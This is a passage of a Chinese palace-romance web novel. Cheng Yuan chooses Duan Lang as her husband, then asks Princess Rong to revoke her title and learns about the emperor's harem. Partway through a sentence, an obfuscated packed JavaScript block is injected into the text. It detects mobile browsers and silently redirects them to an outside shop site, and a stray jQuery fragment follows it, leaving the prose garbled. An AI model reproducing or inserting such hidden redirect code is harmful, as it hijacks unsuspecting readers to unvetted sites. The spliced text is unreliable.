“袅袅不愿意,袅袅只想让爷陪着,时时刻刻都在身旁,寸步不离。”
程鸢搂着他哭得伤心极了。
段琅拉上了衣裳,免得药膏弄脏了她常爱躺着的软榻,后又让她趴在自己怀中。
“袅袅这么说我就放心了。”
程鸢睁着泛红的眼眶,抬头望着段琅。
段琅低头亲了一口她的唇瓣,轻轻贴了一下,又撤了回去。
“我以为袅袅对我并无情意,才会那般轻易说出口。”
程鸢摸着他的脸,发现他瘦了。
“那袅袅选择以后都只是荣亲王府的小姐,爷要如何?”
“只要你开心,就算不爱我也无所谓。”
才怪。
段琅下巴抵在她的头顶,在她看不见处,眼中满是占有与势在必得。
“那袅袅嫁与旁人爷也无所谓?”程鸢心口酸涩得厉害。
“袅袅嫁不了旁人,袅袅永远是我妻子。”
程鸢握着他贴在自己脸颊上的大掌。
程鸢半支起身子,趴在他胸膛,“皇上已经下了旨,他会撤回么?”
“不会,但是叶府自请退婚,撤回旨意也有可能。”或者世子妃没了。
段琅没和她说这些,只起身把她放在软榻上,掀开了她裙摆。
程鸢伸手去摁,段琅握住她的手腕。
“别动,让我看看。”
段琅看着她膝盖,已经消了很多,只剩一点点泛青。这么多日还有痕迹,当真是伤得厉害。
“很疼?”
段琅指腹轻轻抚摸那印记,明明只是一点痕迹,因程鸢白,显得格外严重。
他低头,轻轻吻了上去。
程鸢一惊,下意识抬脚抵在他胸膛上。
他没规矩地松松垮垮穿着,亵衣显得淡薄。
程鸢这一抬脚就直接无阻隔地贴在他胸膛上,那股灼热直直烫进心底。
她一慌,连忙收回,不料被段琅握着小腿,还揉捏了一下。
“爷!”
段琅没抬头,看着她粉嫩的模样,眼中欲望逐渐酝酿,暧昧的气息飘满这个小巧精细的阁楼。
“袅袅,告诉我,哥哥和夫君,你选一个。”
其实她没得选,不过逼她说出口,好让自己知道这一切不是自己自作多情。
程鸢骤然停下挣扎的动作,她抬头看着段琅。
那双多情的桃花眼,开心时总是上挑着眉目飞扬,如今也只是耷拉在那里,眼神也没了往日勾人的模样。
活像一只可怜巴巴的乖狗狗。
程鸢伸手摸着他脸颊,摸着他入鬓的长眉,挺拔的鼻梁,不点自朱的唇瓣,精致的下颚,再往下,是每每说话就不停跳动的一处凸起。
程鸢手指往下,在段琅期盼的眼神中,拉着他的肩膀靠近。
她轻浅的呼吸贴在段琅的侧脸,那股诱人的气息,熏得段琅意乱情迷。
“袅袅。”
段琅吞咽,五指紧紧扣住她的腰肢。手心越来越烫,似乎在催着程鸢继续。
程鸢勾唇,“我选夫君。”
程鸢看着段琅骤然迸发亮光的眼神,手指划过他的喉结,逐渐往下。
“我的夫君,从身到心都得是我的。这里,这里,还有……这里,永远都是我一个人的。”
“你要每日见我,每夜陪我,每时哄我,直到我满意为止。”
“段琅,你若没做到,我便不要你了。”
段琅再也忍不住,手臂硬如生铁,紧紧箍着程鸢。
他眼里满是占有欲,棋逢对手的兴奋,以及找到同类的快感。
“袅袅,这可是你说的。”
她也是爱自己的。
每每想到这,段琅就心动不能自已,恨不得把她揉进身体里,从此再无人将他们分开。
段琅搂着她,两人依靠在软榻上,在月光的见证下,他一遍一遍述说爱意。
……
翌日一早。
程鸢再次进善德堂,是跪着的。
这是第二次跪荣王妃。
第一次,受她赐封荣亲王府小姐,这一次,是求她把头衔收回去。
“你糊涂!”
荣王妃看着程鸢,满眼都是失望。
“我教你管家,我教你怎么与官门子弟来往,我给你铺路,你怎么就是想不明白!”
“皇家有什么好的,你非要寻这些虚无缥缈的感情?!”
善安一惊,连忙挥手让下人退下,关上大门胆战心惊地守在门外。
程鸢满眼含泪,长叩不起。
“程鸢谢王妃娘娘栽培,程鸢福薄,让娘娘失望了。”
荣王妃跌坐在椅子上。
她眼中也是闪烁泪花,“皇家岂是那么好进的,皇家的人没有情,怀玉也不例外!”
“我念你替怀玉受了罪,给你铺了康庄大道你不走,你非要作践自己在后宫斗一辈子。”
荣王妃想到了什么,问:“你可是为自己的身体自卑?外头万千上进的年轻人,你挑一个你喜欢的,有荣亲王府在一日,他欺你不得。”
程鸢泪如雨下,自己图谋来的亲情,最后竟像根刺时时刻刻提醒着自己的卑劣。
“程鸢叩谢王妃娘娘,娘娘厚爱程鸢感激不尽。程鸢从江南与殿下进京,便已做好了准备。”
荣王妃冷笑了起来,“你在怪本宫拦你路?”
程鸢抬头,跪得挺拔。
“尚书房之行,若无王爷王妃相护,程鸢已然进了后宫。”
荣王妃一惊,五指倏地握紧了扶手。
“何意?”
程鸢抬头望着她,面色坦荡。
“入宫当日,大殿诸多臣女,偏偏皇上点程鸢出去。尚书房七日三次得见皇上,程鸢惶恐,百思不得其解。”
“后来听嬷嬷说,皇上厌恶粉蓝色,我才得知娘娘与殿下的良苦用心。”
荣王妃恍惚,看着她跪地的模样,又想到她膝盖才受了伤。
“起来说话。”
程鸢一顿,也没有拒绝,缓缓起身,坐在她右下侧。
“程鸢观察,也许皇帝对柔嘉贵妃并非无情。”
荣王妃面色骤然一凝,“你知道你在说什么吗?”
“程鸢知晓,从宫中出来也从未说过,怕擅自揣测遭来祸端。”
“可之后程鸢时常进宫侍奉皇后汤药,三次见到皇帝,其中两次见他往情柔宫走去。”
荣王妃皱眉,“你可没看错?”
程鸢摇了摇头,“程鸢以性命担保,绝不可能看错。”
程鸢抬头看了眼荣王妃阴晴不定的面容。
“程鸢斗胆问娘娘,程鸢容貌是否与晴柔贵妃相似?”
“并未。”荣王妃疑惑。
她看着程鸢皱眉说得一本正经的模样,不禁有些好笑。
“行了,莫要胡思乱想。你既心意已决,本宫也不再相劝,日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17952012|214170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后是苦是甜,且自己受着吧。”
程鸢弯眉,“谢母妃成全。”
荣王妃说完起身,拉着程鸢走到了内室。
“你且细细与我说说。”
程鸢听话,略思索了一瞬,娓娓道来。
“尚书房下课之余会去坤宁宫做侍奉汤药,不过皇后娘娘并未说什么,只让我给她抄些书,简单问了些江南的事情。”
就连先前那句琴琴,也再没听她唤过……
“可皇上却是七日里见了三回,也是只在皇后宫中坐坐,奇怪的是,袅袅总觉得他有意无意……”
荣王妃面容一沉,拉了程鸢的手安慰拍了两下。
“我们这位皇帝什么事情干不出来,我本以为荣王府的小姐,能让他断了这念头。”
程鸢有些惊讶她竟然会这么说皇帝。
“皇帝年纪大了,后宫除了皇后,那些高位的妃嫔都慢慢离世。可他不服老,三年一选秀没落下过一次。”
程鸢看她鄙夷的眼神,默默闭紧了嘴。
皇家都会演,那日大殿一个个可是一副十分孺慕的模样。
“你既然已经选了进皇家,我便与你说说。”
“前皇后敦肃氏,是皇上青梅竹马的恋人,也是他的发妻。后宫争斗不断,皇上明面上为了保护她,立了一个又一个妃子,其中被推出来的就是柔嘉贵妃。”
荣王妃说到这嗤笑了起来,想是想起了什么天大的笑话。
“一个众所周知的真爱,独守皇后尊位,一个所有人看笑话的贵妃,却是宠爱权力地位样样没落下。”
荣王妃说到这拍了拍程鸢的手。
“进了后宫不论尊卑,一切都要围着天下之主转,什么都是虚的,唯有永世常青的恩宠与无人能与你作对的地位才是真的。”
“这是柔嘉贵妃曾与本宫说的话。”
“这么多年争斗,死的死伤的伤,终究是本宫笑到最后。”
程鸢佩服她的心智和手段。
单凭荣亲王府子嗣单薄,荣王还守着王妃一人不纳妾,可见她手段不一般。
“当然,这也是怀玉争气,打小就聪明,幼时又在皇上面前得宠,才有如今这情况。”
“善禧应当与你说过的吧?”
荣王妃看着程鸢的面容,一瞬不瞬,“后宫的子嗣,谁抢到便是谁的。”
程鸢垂眸轻颤了一下,“我以为母妃会说要以后宫安宁为主。”
荣王妃嗤笑一声,“安宁,他立那么多妃凭什么安宁?”
荣王妃倏地闭上了嘴,看着程鸢无辜的大眼睛。
她淡淡回望过去,语气不平不淡,却是杀意弥漫。
“其余我不管,只有一点,休伤了怀玉。”
程鸢回握她的手,“母妃放心,袅袅定然不会伤害殿下。”
荣王妃看了一瞬,撇过了眼。
“罢了,你敢抬手都不错了,还指望你杀人。”
程鸢讪讪。
“王妃娘娘,殿下受伤被抬进松鹤院了!”善福语气十分急切。
“什么!”
荣王妃倏地站起了身子,突然眼前一黑,身形晃动,遥遥向一旁的桌子倒过去。
“母妃!”
程鸢慌了一瞬,立马冲了过去,垫在她身后,两人一同倒在地上。
她腰间被磕在桌角上,剧痛席卷全身,疼得额头都冒汗。
“小姐!”善禧大惊,“来人啊!叫府医!”